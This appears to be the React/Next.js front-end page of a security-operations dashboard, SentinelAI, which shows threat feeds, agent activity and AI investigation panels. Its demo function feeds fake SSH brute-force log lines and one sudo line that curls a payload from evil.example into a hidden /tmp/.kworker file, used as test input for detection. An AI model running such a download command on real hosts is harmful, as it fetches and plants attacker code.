SentinelAI / frontend /src /app /page.tsx
iitian's picture
Serve Next.js SOC dashboard at /ui with FastAPI redirect from /.
81fe24b
"use client";
import { motion, AnimatePresence } from "framer-motion";
import { useCallback, useEffect, useMemo, useRef, useState } from "react";
import { Activity, Cpu, Globe2, Radar, RotateCw, Shield, Sparkles, Terminal } from "lucide-react";
import { Badge } from "@/components/ui/badge";
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
import { ScrollArea } from "@/components/ui/scroll-area";
import { Separator } from "@/components/ui/separator";
import { Progress } from "@/components/ui/progress";
import { Button } from "@/components/ui/button";
import { cn } from "@/lib/utils";
type FeedItem = {
type?: string;
severity?: string;
message?: string;
source_ip?: string;
event_type?: string;
ts?: string;
technique?: string;
confidence?: number;
description?: string;
title?: string;
summary?: string;
executive?: string;
technical?: string;
agent?: string;
status?: string;
detail?: string;
replay?: boolean;
replay_index?: number;
replay_total?: number;
phase?: string;
investigation_notes?: string;
recommended_actions?: string[];
};
type Metrics = {
threats_detected: number;
active_incidents: number;
blocked_attacks: number;
events_per_minute: number;
top_countries: { country: string; count: number }[];
risk_trend: { t: number; risk: number }[];
remediation_success_rate: number;
attack_frequency: { minute: number; count: number }[];
};
const defaultMetrics: Metrics = {
threats_detected: 0,
active_incidents: 0,
blocked_attacks: 0,
events_per_minute: 0,
top_countries: [],
risk_trend: [],
remediation_success_rate: 0.94,
attack_frequency: [],
};
/** Single canonical host so SSR and the browser match (avoids localhost vs 127.0.0.1 hydration errors). */
function normalizeApiOrigin(raw: string): string {
try {
const u = new URL(raw);
if (u.hostname === "localhost") {
u.hostname = "127.0.0.1";
}
return u.origin;
} catch {
return raw;
}
}
function apiBase(): string {
const raw = process.env.NEXT_PUBLIC_API_URL;
if (raw === undefined || raw === "") {
if (typeof window !== "undefined") {
return window.location.origin;
}
return "";
}
return normalizeApiOrigin(raw);
}
function wsUrl(): string {
const raw = process.env.NEXT_PUBLIC_API_URL;
if (raw === undefined || raw === "") {
if (typeof window !== "undefined") {
const proto = window.location.protocol === "https:" ? "wss:" : "ws:";
return `${proto}//${window.location.host}/live-events`;
}
return "ws://127.0.0.1:8000/live-events";
}
const base = normalizeApiOrigin(raw);
return base.replace(/^http/, "ws") + "/live-events";
}
type RocmPanel = {
brand?: string;
tagline?: string;
gpu_utilization_simulated_pct?: number;
inference_latency_ms_simulated?: number;
concurrent_agent_tasks?: number;
model_serving?: string;
open_models?: string;
throughput_note?: string;
};
function formatAiReport(msg: FeedItem): string {
const actions = Array.isArray(msg.recommended_actions) ? msg.recommended_actions : [];
const parts = [
msg.executive ?? "",
msg.technical ? `\n\n— Attack progression —\n${msg.technical}` : "",
msg.investigation_notes ? `\n\n— Severity rationale —\n${msg.investigation_notes}` : "",
];
let out = parts.join("").trim();
if (actions.length) {
out += `\n\n— Recommended actions —\n${actions.map((a) => `• ${a}`).join("\n")}`;
}
return out;
}
function severityColor(s?: string) {
switch ((s ?? "").toLowerCase()) {
case "critical":
return "text-red-400 border-red-500/40 bg-red-500/10";
case "high":
return "text-orange-300 border-orange-500/40 bg-orange-500/10";
case "medium":
return "text-amber-200 border-amber-500/35 bg-amber-500/10";
case "low":
return "text-sky-300 border-sky-500/35 bg-sky-500/10";
default:
return "text-muted-foreground border-border bg-muted/30";
}
}
export default function Home() {
const [metrics, setMetrics] = useState<Metrics>(defaultMetrics);
const [feed, setFeed] = useState<FeedItem[]>([]);
const [agents, setAgents] = useState<FeedItem[]>([]);
const [aiPanel, setAiPanel] = useState<string>(
"Awaiting high-fidelity incident graph. Autonomous agents are parsing collectors, enriching threat intel, and scoring blast radius.",
);
const [timeline, setTimeline] = useState<FeedItem[]>([]);
const [replayActive, setReplayActive] = useState(false);
const [reasoningTrace, setReasoningTrace] = useState<string[]>([]);
const [rocm, setRocm] = useState<RocmPanel | null>(null);
const wsRef = useRef<WebSocket | null>(null);
const aiThinking = useMemo(
() => agents.some((a) => (a.detail ?? "").toLowerCase().includes("llm") || (a.agent ?? "") === "ai_analyst"),
[agents],
);
const refreshMetrics = useCallback(async () => {
try {
const r = await fetch(`${apiBase()}/dashboard-metrics`);
if (!r.ok) return;
const data = await r.json();
setMetrics({ ...defaultMetrics, ...data });
} catch {
/* offline */
}
}, []);
const refreshAgents = useCallback(async () => {
try {
const r = await fetch(`${apiBase()}/agent-activity`);
if (!r.ok) return;
const data = await r.json();
setAgents(data.items ?? []);
} catch {
/* offline */
}
}, []);
useEffect(() => {
refreshMetrics();
const id = setInterval(refreshMetrics, 5000);
return () => clearInterval(id);
}, [refreshMetrics]);
useEffect(() => {
refreshAgents();
const id = setInterval(refreshAgents, 4000);
return () => clearInterval(id);
}, [refreshAgents]);
useEffect(() => {
const loadRocm = async () => {
try {
const r = await fetch(`${apiBase()}/rocm-panel`);
if (!r.ok) return;
setRocm(await r.json());
} catch {
/* offline */
}
};
loadRocm();
const id = setInterval(loadRocm, 4000);
return () => clearInterval(id);
}, []);
useEffect(() => {
const url = wsUrl();
const ws = new WebSocket(url);
wsRef.current = ws;
ws.onmessage = (ev) => {
try {
const msg = JSON.parse(ev.data as string) as Record<string, unknown>;
if (msg.type === "replay") {
const phase = msg.phase as string | undefined;
if (phase === "begin") {
setReplayActive(true);
setAiPanel("Replaying buffered attack chain for the jury…");
}
if (phase === "frame" && msg.data && typeof msg.data === "object") {
const inner = msg.data as FeedItem;
setFeed((prev) =>
[
{
...inner,
replay: true,
replay_index: msg.index as number | undefined,
replay_total: msg.total as number | undefined,
},
...prev,
].slice(0, 200),
);
if (inner.type === "detection" && inner.description) {
setReasoningTrace((t) => [inner.description!, ...t].slice(0, 12));
}
if (inner.type === "incident") {
setTimeline((prev) => [inner, ...prev].slice(0, 40));
setAiPanel(inner.summary ?? String(inner.title ?? "Replayed incident"));
}
if (inner.type === "ai_report") {
setAiPanel(formatAiReport(inner));
}
}
if (phase === "end") {
setReplayActive(false);
setReasoningTrace((t) => ["[Replay complete]", ...t].slice(0, 12));
}
if (phase === "empty") {
setAiPanel(String(msg.message ?? "Replay buffer empty — run a simulation first."));
}
return;
}
const row = msg as FeedItem;
setFeed((prev) => [row, ...prev].slice(0, 200));
if (row.type === "detection" && row.description) {
setReasoningTrace((t) => [row.description!, ...t].slice(0, 12));
}
if (row.type === "incident") {
setTimeline((prev) => [row, ...prev].slice(0, 40));
setAiPanel(
row.summary ??
"Incident correlation engine fused multi-stage telemetry into a single attack narrative.",
);
}
if (row.type === "ai_report") {
setAiPanel(formatAiReport(row));
}
} catch {
/* ignore */
}
};
ws.onerror = () => {
setFeed((p) => [
{ type: "system", severity: "medium", message: `WebSocket degraded — API at ${apiBase()}` },
...p,
]);
};
return () => ws.close();
}, []);
const severityCounts = useMemo(() => {
const c = { critical: 0, high: 0, medium: 0, low: 0 };
for (const row of feed) {
const s = (row.severity ?? "").toLowerCase();
if (s in c) (c as Record<string, number>)[s] += 1;
}
return c;
}, [feed]);
const maxCountry = Math.max(1, ...metrics.top_countries.map((x) => x.count));
const startReplay = async () => {
try {
await fetch(`${apiBase()}/replay/start`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ delay_ms: 420 }),
});
} catch {
/* offline */
}
};
const runDemoBurst = async () => {
const lines = [
'Jan 10 12:00:01 edge-01 sshd[9001]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2',
'Jan 10 12:00:03 edge-01 sshd[9002]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2',
'Jan 10 12:00:05 edge-01 sshd[9003]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2',
'Jan 10 12:00:07 edge-01 sshd[9004]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2',
'Jan 10 12:00:09 edge-01 sshd[9005]: Failed password for invalid user root from 45.33.32.156 port 22 ssh2',
'Jan 10 12:00:15 edge-01 sshd[9006]: Accepted publickey for ubuntu from 45.33.32.156 port 22 ssh2',
'Jan 10 12:00:40 edge-01 sudo: ubuntu : TTY=pts/0 ; USER=root ; COMMAND=/usr/bin/curl -fsSL http://evil.example/p -o /tmp/.kworker',
];
for (const raw_line of lines) {
await fetch(`${apiBase()}/ingest-logs`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ source: "demo", raw_line, metadata: { host: "edge-01" } }),
});
await new Promise((r) => setTimeout(r, 120));
}
};
return (
<div className="relative min-h-screen overflow-x-hidden p-4 md:p-8 font-sans">
<div className="pointer-events-none absolute inset-0 scanline opacity-40" />
<header className="mx-auto mb-8 flex max-w-[1600px] flex-col gap-4 md:flex-row md:items-end md:justify-between">
<div>
<motion.div
initial={{ opacity: 0, y: 8 }}
animate={{ opacity: 1, y: 0 }}
className="flex items-center gap-3"
>
<div className="flex h-12 w-12 items-center justify-center rounded-2xl border border-primary/40 bg-primary/15 shadow-[0_0_30px_oklch(0.75_0.15_195_/_0.35)]">
<Shield className="h-7 w-7 text-primary" />
</div>
<div>
<p className="text-xs uppercase tracking-[0.35em] text-muted-foreground">Autonomous SOC</p>
<h1 className="text-3xl font-semibold tracking-tight md:text-4xl">
Sentinel<span className="text-primary">AI</span>
</h1>
</div>
</motion.div>
<p className="mt-3 max-w-2xl text-sm text-muted-foreground md:text-base">
Multi-agent collectors, LangGraph orchestration, PostgreSQL evidence store, Redis fan-out, and{" "}
<span className="text-primary/90">AMD ROCm</span>-ready open models for on-prem inference at SOC scale.
</p>
</div>
<div className="flex flex-wrap gap-2">
<Badge variant="outline" className="border-primary/40 bg-primary/10 text-primary">
<Cpu className="mr-1 h-3 w-3" /> ROCm inference path
</Badge>
<Badge variant="outline" className="border-accent/40 bg-accent/10 text-accent-foreground">
<Sparkles className="mr-1 h-3 w-3" /> Llama 3 · Qwen · Mistral · DeepSeek
</Badge>
<Badge variant="outline">{"MITRE ATT&CK mapping"}</Badge>
</div>
</header>
<div className="mx-auto grid max-w-[1600px] gap-4 lg:grid-cols-12">
<motion.section
initial={{ opacity: 0, y: 12 }}
animate={{ opacity: 1, y: 0 }}
className="glass-panel glow-panel relative overflow-hidden lg:col-span-8"
>
<div className="flex flex-wrap items-center justify-between gap-2 border-b border-border/60 px-4 py-3">
<div className="flex items-center gap-2 text-sm font-medium">
<Radar className="h-4 w-4 text-primary" />
Live Threat Feed
</div>
<div className="flex flex-wrap gap-2">
<Button size="sm" variant="secondary" className="h-8 gap-1 text-xs" onClick={runDemoBurst}>
<Activity className="h-3.5 w-3.5" />
Simulate attack chain
</Button>
<Button
size="sm"
variant="outline"
className="h-8 gap-1 border-primary/40 text-xs text-primary"
onClick={startReplay}
disabled={replayActive}
>
<RotateCw className={cn("h-3.5 w-3.5", replayActive && "animate-spin")} />
Replay last chain
</Button>
</div>
</div>
<ScrollArea className="h-[340px] px-2">
<div className="space-y-2 p-2">
<AnimatePresence initial={false}>
{feed.length === 0 && (
<motion.p
initial={{ opacity: 0 }}
animate={{ opacity: 1 }}
className="text-sm text-muted-foreground"
>
Listening on <code className="rounded bg-muted px-1 py-0.5">{wsUrl()}</code> — start the API or
trigger the demo script.
</motion.p>
)}
{feed.map((row, i) => (
<motion.div
key={`${row.ts ?? i}-${i}`}
layout
initial={{ opacity: 0, x: -8 }}
animate={{ opacity: 1, x: 0 }}
exit={{ opacity: 0 }}
className={cn(
"flex flex-col gap-1 rounded-xl border px-3 py-2 text-sm transition-shadow duration-300 md:flex-row md:items-center md:justify-between",
row.type === "detection" ? "border-destructive/35 bg-destructive/5" : "border-border/60 bg-card/30",
(row.severity === "critical" || row.severity === "high") && row.type === "detection"
? "threat-row-hot shadow-[0_0_20px_oklch(0.65_0.2_25_/_0.2)]"
: "",
)}
>
<div className="flex flex-wrap items-center gap-2">
{row.replay && (
<Badge variant="outline" className="border-accent/50 bg-accent/10 text-[10px] text-accent-foreground">
replay {row.replay_index != null ? `${row.replay_index + 1}/${row.replay_total}` : ""}
</Badge>
)}
<Badge variant="outline" className={cn("text-[10px] uppercase", severityColor(row.severity))}>
{row.type ?? "event"}
</Badge>
<span className="font-mono text-xs text-muted-foreground">{row.event_type ?? row.technique}</span>
</div>
<p className="flex-1 text-xs md:px-3 md:text-sm">
{row.message ?? row.description ?? row.summary ?? JSON.stringify(row)}
</p>
<span className="font-mono text-[10px] text-primary/80">{row.source_ip}</span>
</motion.div>
))}
</AnimatePresence>
</div>
</ScrollArea>
</motion.section>
<motion.aside
initial={{ opacity: 0, y: 12 }}
animate={{ opacity: 1, y: 0 }}
transition={{ delay: 0.05 }}
className="glass-panel lg:col-span-4"
>
<div className="border-b border-border/60 px-4 py-3 text-sm font-medium">Threat Severity</div>
<div className="grid grid-cols-2 gap-3 p-4">
{(
[
["Critical", severityCounts.critical],
["High", severityCounts.high],
["Medium", severityCounts.medium],
["Low", severityCounts.low],
] as const
).map(([label, val]) => (
<Card
key={label}
className={cn(
"border-border/50 bg-card/40",
label === "Critical" && val > 0 && "severity-pulse-critical border-red-500/30 shadow-[0_0_16px_rgba(239,68,68,0.15)]",
label === "High" && val > 0 && "border-orange-500/25 shadow-[0_0_12px_rgba(249,115,22,0.12)]",
)}
>
<CardHeader className="p-3 pb-1">
<CardTitle className="text-xs text-muted-foreground">{label}</CardTitle>
</CardHeader>
<CardContent className="p-3 pt-0 text-2xl font-semibold tabular-nums">{val}</CardContent>
</Card>
))}
</div>
<Separator className="bg-border/50" />
<div className="space-y-3 p-4">
<div className="flex items-center justify-between text-xs text-muted-foreground">
<span>Risk posture</span>
<span>{metrics.remediation_success_rate * 100}% remediation success</span>
</div>
<Progress value={Math.min(100, metrics.threats_detected * 3)} className="h-2" />
</div>
</motion.aside>
<motion.section
initial={{ opacity: 0, y: 12 }}
animate={{ opacity: 1, y: 0 }}
transition={{ delay: 0.08 }}
className="glass-panel lg:col-span-5"
>
<div className="flex items-center gap-2 border-b border-border/60 px-4 py-3 text-sm font-medium">
<Globe2 className="h-4 w-4 text-primary" />
World Threat Map
</div>
<div className="relative h-[280px] p-4">
<div className="absolute inset-4 rounded-3xl border border-primary/20 bg-gradient-to-br from-primary/10 via-transparent to-accent/10" />
<div className="relative grid h-full place-items-center">
<div className="grid w-full max-w-md grid-cols-4 gap-3">
{metrics.top_countries.length === 0 ? (
<p className="col-span-4 text-center text-sm text-muted-foreground">
Geo enrichment fills as public IPs arrive (AbuseIPDB / OTX / VT optional).
</p>
) : (
metrics.top_countries.map((c) => (
<motion.div
key={c.country}
layout
className="rounded-xl border border-border/60 bg-card/40 p-2 text-center"
whileHover={{ scale: 1.03 }}
>
<p className="text-lg font-semibold">{c.country}</p>
<div className="mx-auto mt-2 h-16 w-1 rounded-full bg-muted">
<div
className="w-full rounded-full bg-gradient-to-t from-primary to-accent"
style={{ height: `${(c.count / maxCountry) * 100}%` }}
/>
</div>
<p className="mt-1 text-[10px] text-muted-foreground">{c.count} events</p>
</motion.div>
))
)}
</div>
</div>
</div>
</motion.section>
<motion.section
initial={{ opacity: 0, y: 12 }}
animate={{ opacity: 1, y: 0 }}
transition={{ delay: 0.1 }}
className="glass-panel lg:col-span-4"
>
<div className="border-b border-border/60 px-4 py-3 text-sm font-medium">Incident Analytics</div>
<div className="grid gap-3 p-4 sm:grid-cols-3">
<MetricTile label="Threats" value={metrics.threats_detected} hint="ML + rules" />
<MetricTile label="Incidents" value={metrics.active_incidents} hint="correlated" />
<MetricTile label="Blocked" value={metrics.blocked_attacks} hint="auto-response" />
</div>
<div className="px-4 pb-4">
<p className="mb-2 text-xs text-muted-foreground">Attack frequency (rolling)</p>
<div className="flex h-24 items-end gap-1">
{(metrics.attack_frequency.length ? metrics.attack_frequency : [{ minute: 0, count: 1 }]).map(
(b, idx) => {
const h = Math.max(8, (b.count / 10) * 80);
return (
<div
key={idx}
className="flex-1 rounded-t-md bg-gradient-to-t from-primary/20 to-primary"
style={{ height: `${h}%` }}
/>
);
},
)}
</div>
</div>
</motion.section>
<motion.section
initial={{ opacity: 0, y: 12 }}
animate={{ opacity: 1, y: 0 }}
transition={{ delay: 0.12 }}
className="glass-panel lg:col-span-3"
>
<div className="flex items-center gap-2 border-b border-border/60 px-4 py-3 text-sm font-medium">
<Cpu className="h-4 w-4 text-accent" />
Agent Activity
</div>
<ScrollArea className="h-[280px] px-2">
<div className="space-y-2 p-2">
{agents.slice(0, 40).map((a, i) => (
<div
key={`${a.agent}-${i}`}
className="rounded-lg border border-border/50 bg-card/30 px-2 py-1.5 text-xs"
>
<div className="flex items-center justify-between">
<span className="font-semibold text-primary">{a.agent}</span>
<span className="text-[10px] uppercase text-muted-foreground">{a.status}</span>
</div>
<p className="text-[11px] text-muted-foreground">{a.detail}</p>
</div>
))}
</div>
</ScrollArea>
</motion.section>
<motion.section
initial={{ opacity: 0, y: 12 }}
animate={{ opacity: 1, y: 0 }}
transition={{ delay: 0.14 }}
className="glass-panel lg:col-span-6"
>
<div className="flex flex-wrap items-center justify-between gap-2 border-b border-border/60 px-4 py-3">
<div className="flex items-center gap-2 text-sm font-medium">
<Sparkles className="h-4 w-4 text-accent" />
AI Investigation
</div>
{aiThinking && (
<Badge className="animate-pulse border-primary/50 bg-primary/20 text-[10px] text-primary">
Model inferencing…
</Badge>
)}
</div>
<div className="flex h-[220px] flex-col">
<div className="shrink-0 border-b border-border/40 px-4 py-2">
<p className="text-[10px] font-medium uppercase tracking-wider text-primary/80">Reasoning trace</p>
<ScrollArea className="h-[72px]">
<ul className="space-y-1 pr-3 pt-1 font-mono text-[10px] text-muted-foreground">
{reasoningTrace.length === 0 && <li className="opacity-60">Awaiting detection hypotheses…</li>}
{reasoningTrace.map((line, i) => (
<motion.li
key={`${i}-${line.slice(0, 24)}`}
initial={{ opacity: 0, x: -4 }}
animate={{ opacity: 1, x: 0 }}
className="border-l border-primary/30 pl-2"
>
{line}
</motion.li>
))}
</ul>
</ScrollArea>
</div>
<ScrollArea className="flex-1 p-4">
<p className="whitespace-pre-wrap text-sm leading-relaxed text-muted-foreground">{aiPanel}</p>
</ScrollArea>
</div>
</motion.section>
<motion.section
initial={{ opacity: 0, y: 12 }}
animate={{ opacity: 1, y: 0 }}
transition={{ delay: 0.16 }}
className="glass-panel lg:col-span-6"
>
<div className="flex items-center gap-2 border-b border-border/60 px-4 py-3 text-sm font-medium">
<Terminal className="h-4 w-4 text-primary" />
Attack Timeline
</div>
<ScrollArea className="h-[220px] px-2">
<div className="space-y-3 p-3">
{timeline.length === 0 && (
<p className="text-sm text-muted-foreground">Correlated incidents render here with fused edges.</p>
)}
{timeline.map((inc, idx) => (
<motion.div
key={idx}
initial={{ opacity: 0, x: -6 }}
animate={{ opacity: 1, x: 0 }}
transition={{ delay: idx * 0.04 }}
className="relative border-l-2 border-primary/40 pl-4"
>
<div className="absolute -left-[5px] top-1 h-2 w-2 animate-pulse rounded-full bg-primary shadow-[0_0_12px_oklch(0.75_0.15_195)]" />
<p className="text-sm font-semibold">{inc.title}</p>
<p className="text-xs text-muted-foreground">{inc.summary}</p>
</motion.div>
))}
</div>
</ScrollArea>
</motion.section>
<motion.section
initial={{ opacity: 0, y: 12 }}
animate={{ opacity: 1, y: 0 }}
transition={{ delay: 0.18 }}
className="glass-panel font-mono text-xs lg:col-span-12"
>
<div className="flex items-center justify-between border-b border-border/60 px-4 py-2 text-[11px] text-muted-foreground">
<span>
stream://sentinel/terminal<span className="cyber-cursor" />
</span>
<span className="text-primary/80">tail -f /var/log/auth.log · docker · k8s · cloudtrail</span>
</div>
<div className="max-h-[160px] overflow-y-auto px-4 py-3 text-[11px] leading-relaxed text-primary/90">
{feed.slice(0, 12).map((row, i) => (
<div key={i} className="truncate">
<span className="text-muted-foreground">[{row.ts ?? "live"}]</span>{" "}
<span className="text-accent-foreground">{row.type}</span> {row.message ?? row.description}
</div>
))}
</div>
</motion.section>
</div>
<motion.section
initial={{ opacity: 0, y: 8 }}
animate={{ opacity: 1, y: 0 }}
className="glass-panel mx-auto mt-8 max-w-[1600px] border-primary/25 bg-gradient-to-br from-primary/10 via-card/30 to-transparent"
>
<div className="flex flex-wrap items-center justify-between gap-3 border-b border-primary/20 px-4 py-3">
<div className="flex items-center gap-2">
<Cpu className="h-5 w-5 text-primary" />
<div>
<p className="text-sm font-semibold text-primary">Powered by AMD ROCm</p>
<p className="text-xs text-muted-foreground">{rocm?.tagline ?? "Accelerated open-source inference for parallel SOC agents"}</p>
</div>
</div>
<Badge variant="outline" className="border-primary/40 text-primary">
{rocm?.open_models ?? "Llama 3 · Qwen 2.5 · Mistral"}
</Badge>
</div>
<div className="grid gap-4 p-4 sm:grid-cols-2 lg:grid-cols-4">
<div className="rounded-xl border border-border/50 bg-card/40 p-3">
<p className="text-[10px] uppercase text-muted-foreground">GPU utilization (sim)</p>
<p className="text-2xl font-bold tabular-nums text-primary">{rocm?.gpu_utilization_simulated_pct ?? "—"}%</p>
</div>
<div className="rounded-xl border border-border/50 bg-card/40 p-3">
<p className="text-[10px] uppercase text-muted-foreground">Inference latency (sim)</p>
<p className="text-2xl font-bold tabular-nums text-accent-foreground">
{rocm?.inference_latency_ms_simulated != null ? `${rocm.inference_latency_ms_simulated} ms` : "—"}
</p>
</div>
<div className="rounded-xl border border-border/50 bg-card/40 p-3">
<p className="text-[10px] uppercase text-muted-foreground">Concurrent agent tasks</p>
<p className="text-2xl font-bold tabular-nums">{rocm?.concurrent_agent_tasks ?? "—"}</p>
</div>
<div className="rounded-xl border border-border/50 bg-card/40 p-3">
<p className="text-[10px] uppercase text-muted-foreground">Model serving</p>
<p className="truncate text-sm font-medium text-primary">{rocm?.model_serving ?? "llama3"}</p>
<p className="mt-1 text-[10px] text-muted-foreground">{rocm?.throughput_note}</p>
</div>
</div>
</motion.section>
<footer className="mx-auto mt-6 max-w-[1600px] text-center text-[11px] text-muted-foreground">
Local inference · parallel agents · Redis fan-out · PostgreSQL evidence · optional Chroma vector memory
</footer>
</div>
);
}
function MetricTile({ label, value, hint }: { label: string; value: number; hint: string }) {
return (
<div className="rounded-xl border border-border/50 bg-card/30 p-3">
<p className="text-[11px] uppercase tracking-wide text-muted-foreground">{label}</p>
<p className="text-2xl font-semibold tabular-nums">{value}</p>
<p className="text-[10px] text-primary/70">{hint}</p>
</div>
);
}